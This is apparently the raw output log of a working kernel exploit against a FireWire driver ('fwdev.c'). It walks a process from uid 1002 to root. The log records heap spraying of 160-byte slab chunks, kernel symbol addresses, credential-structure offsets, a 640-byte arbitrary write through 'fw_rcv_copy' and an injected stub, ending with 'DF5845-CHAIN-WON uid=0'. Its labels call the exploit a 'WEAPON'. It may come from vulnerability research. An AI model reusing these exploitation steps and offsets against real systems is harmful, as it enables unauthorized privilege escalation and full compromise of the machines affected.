fwh: POST-RCV pend[7] seq=7 dst=0x99 tl=8 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[8] seq=8 dst=0x99 tl=9 xfer=0xfffff8008bb44960 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[9] seq=9 dst=0x11 tl=10 xfer=0xfffff8008bb44500 state=10 resp=0 act.hand=0xffffffff804bb220 recv.payload=0xfffff8008bb53c80 recv.pay_len=65168
fwh: POST-RCV pend[10] seq=10 dst=0x22 tl=11 xfer=0xfffff8008bb445a0 state=10 resp=0 act.hand=0xfffff8008bb44650 recv.payload=0 recv.pay_len=0
fwh: PKTRCV len=16 delivered to stock fw_rcv
RIG: S-response delivered (656 bytes) -> fw_rcv_copy arb-write of 640 bytes @ S-160
RIG: V-response delivered -> dispatch armed
DF5845-WEAPON: ioctls done s_rc=-1(22) v_rc=-1(35) uid=1002
DF5845-WEAPON: no win this round (uid=1002)
fwh: TXDONE xfer=0xfffff8008bb53be0 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187a2000 recv.pay_len=4096
fwh: SPRAY +400 x 160 bytes (idx 0..399, slab size-class zone, canary tagged)
fwh: TXDONE xfer=0xfffff8008bb44500 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187a2000 recv.pay_len=4096
fwh: SPRAY +400 x 160 bytes (idx 0..399, slab size-class zone, canary tagged)
fwh: SPRAY +1 x 160 bytes (idx 400..400, slab size-class zone, canary tagged)
fwh: SPRAYPOP chunk 400 (160 bytes) ptr=0xfffff8008bb53c80 (removed from list, kernel will free it)
fwh: SPRAYFREE chunk 15 (160 bytes) freed
fwh: SPRAYFREE chunk 14 (160 bytes) freed
fwh: SPRAY +2 x 160 bytes (idx 401..402, slab size-class zone, canary tagged)
fwh: SPRAYFREE chunk 402 (160 bytes) freed
fwh: SPRAYFREE chunk 401 (160 bytes) freed
RIG: v6 consts pfindn=0xffffffff8064dc00 fw_asy_callback=0xffffffff804bb220 fwh_fc=0xffffffff817e2e40 fwh_atq=0xffffffff817e2d40 M_FWXFER=0xffffffff810aad40
RIG: proc.p_ucred=+16 ucred cr_uid=+64 cr_ruid=+160 cr_svuid=+164 cr_ngroups=+68 cr_groups=+72
RIG: fw_xfer send.payload=+80 recv.hdr=+96 recv.payload=+112 recv.pay_len=+120 mbuf=+128 malloc=+144
RIG: attack: S_PRED=0xfffff8008bb44b40 K=0xfffff8008bb53c80
RIG: pend baseline=13
DF5845-WEAPON: uid=1002 gid=1002 S=0xfffff8008bb44b40 (write base S-160=0xfffff8008bb44aa0) (off send.payload=80 recv.payload=112 recv.pay_len=120)
fwh: TXDONE xfer=0xfffff8008bb44b40 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff8008bb44aa0 recv.pay_len=1024
RIG: weapon pid=1116
RIG: watch[0] poll n=1
fwh: TXDONE xfer=0xfffff8008bb44be0 state=1 spd=2 send.payload=0 send.pay_len=0 recv.payload=0xfffff801187a7000 recv.pay_len=4096
fwh: PKTRCV len=656 w0=ffc03870 w1=00110000 w2=00000000 w3=02800000
fwh: POST-RCV pend[0] seq=0 dst=0x99 tl=1 xfer=0xfffff8008bb44280 state=0 resp=32 act.hand=0x7e0dc0d800000030 recv.payload=0xa0a00006f00df00d recv.pay_len=112
fwh: POST-RCV pend[1] seq=1 dst=0x11 tl=2 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0da00000030 recv.payload=0xa0a00004f00df00d recv.pay_len=112
fwh: POST-RCV pend[2] seq=2 dst=0x22 tl=3 xfer=0xfffff8008bb44820 state=0 resp=32 act.hand=0x7e0dc0db00000030 recv.payload=0xa0a00005f00df00d recv.pay_len=112
fwh: POST-RCV pend[3] seq=3 dst=0x99 tl=4 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[4] seq=4 dst=0x99 tl=5 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0da00000030 recv.payload=0xa0a00004f00df00d recv.pay_len=112
fwh: POST-RCV pend[5] seq=5 dst=0x11 tl=6 xfer=0xfffff8008bb44960 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[6] seq=6 dst=0x22 tl=7 xfer=0xfffff8008bb44a00 state=0 resp=32 act.hand=0x7e0dc0dd00000030 recv.payload=0xa0a00003f00df00d recv.pay_len=112
fwh: POST-RCV pend[7] seq=7 dst=0x99 tl=8 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[8] seq=8 dst=0x99 tl=9 xfer=0xfffff8008bb44960 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[9] seq=9 dst=0x11 tl=10 xfer=0xfffff8008bb44500 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[10] seq=10 dst=0x22 tl=11 xfer=0xfffff8008bb445a0 state=0 resp=32 act.hand=0x7e0dc0df00000030 recv.payload=0xa0a00001f00df00d recv.pay_len=112
fwh: POST-RCV pend[11] seq=11 dst=0x99 tl=12 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[12] seq=12 dst=0x99 tl=13 xfer=0xfffff8008bb44500 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[13] seq=13 dst=0x11 tl=14 xfer=0xfffff8008bb44b40 state=10 resp=0 act.hand=0xffffffff804bb220 recv.payload=0xfffff8008bb53c80 recv.pay_len=65168
fwh: POST-RCV pend[14] seq=14 dst=0x22 tl=15 xfer=0xfffff8008bb44be0 state=3 resp=0 act.hand=0xfffff8008bb44c90 recv.payload=0 recv.pay_len=0
fwh: PKTRCV len=656 delivered to stock fw_rcv
RIG: wire: S=0xfffff8008bb44b40 tl=14 V=0xfffff8008bb44be0 tl=15
RIG: stub 88 bytes at 0xfffff8008bb44c90 (pfindn=0xffffffff8064dc00 pid=1116)
fwh: PKTRCV len=16 w0=ffc03c70 w1=00220000 w2=00000000 w3=00000000
fwh: POST-RCV pend[0] seq=0 dst=0x99 tl=1 xfer=0xfffff8008bb44280 state=0 resp=32 act.hand=0x7e0dc0d800000030 recv.payload=0xa0a00006f00df00d recv.pay_len=112
fwh: POST-RCV pend[1] seq=1 dst=0x11 tl=2 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0da00000030 recv.payload=0xa0a00004f00df00d recv.pay_len=112
fwh: POST-RCV pend[2] seq=2 dst=0x22 tl=3 xfer=0xfffff8008bb44820 state=0 resp=32 act.hand=0x7e0dc0db00000030 recv.payload=0xa0a00005f00df00d recv.pay_len=112
fwh: POST-RCV pend[3] seq=3 dst=0x99 tl=4 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[4] seq=4 dst=0x99 tl=5 xfer=0xfffff8008bb44780 state=0 resp=32 act.hand=0x7e0dc0da00000030 recv.payload=0xa0a00004f00df00d recv.pay_len=112
fwh: POST-RCV pend[5] seq=5 dst=0x11 tl=6 xfer=0xfffff8008bb44960 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[6] seq=6 dst=0x22 tl=7 xfer=0xfffff8008bb44a00 state=0 resp=32 act.hand=0x7e0dc0dd00000030 recv.payload=0xa0a00003f00df00d recv.pay_len=112
fwh: POST-RCV pend[7] seq=7 dst=0x99 tl=8 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[8] seq=8 dst=0x99 tl=9 xfer=0xfffff8008bb44960 state=0 resp=32 act.hand=0x7e0dc0dc00000030 recv.payload=0xa0a00002f00df00d recv.pay_len=112
fwh: POST-RCV pend[9] seq=9 dst=0x11 tl=10 xfer=0xfffff8008bb44500 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[10] seq=10 dst=0x22 tl=11 xfer=0xfffff8008bb445a0 state=0 resp=32 act.hand=0x7e0dc0df00000030 recv.payload=0xa0a00001f00df00d recv.pay_len=112
fwh: POST-RCV pend[11] seq=11 dst=0x99 tl=12 xfer=0xfffff8008bb53be0 state=0 resp=32 act.hand=0x7e0dc15100000030 recv.payload=0xa0a0018ff00df00d recv.pay_len=112
fwh: POST-RCV pend[12] seq=12 dst=0x99 tl=13 xfer=0xfffff8008bb44500 state=0 resp=32 act.hand=0x7e0dc0de00000030 recv.payload=0xa0a00000f00df00d recv.pay_len=112
fwh: POST-RCV pend[13] seq=13 dst=0x11 tl=14 xfer=0xfffff8008bb44b40 state=0 resp=0 act.hand=0xffffffff804bb220 recv.payload=0xfffff8008bb53c80 recv.pay_len=65168
fwh: POST-RCV pend[14] seq=14 dst=0x22 tl=15 xfer=0xfffff8008bb44be0 state=10 resp=90 act.hand=0xfffff8008bb44c90 recv.payload=0 recv.pay_len=0
fwh: PKTRCV len=16 delivered to stock fw_rcv
RIG: payload 640 bytes [canary|S-fix|V|stub] @ S-160=0xfffff8008bb44aa0
RIG: S-response delivered (656 bytes) -> fw_rcv_copy arb-write of 640 bytes @ S-160
RIG: V-response delivered -> dispatch armed
DF5845-CHAIN-WON uid=0 via fwdev.c:561 heap overwrite
DF5845-WEAPON: ioctls done s_rc=-1(22) v_rc=-1(35) uid=0
DF5845-CHAIN-WON: uid=0 euid=0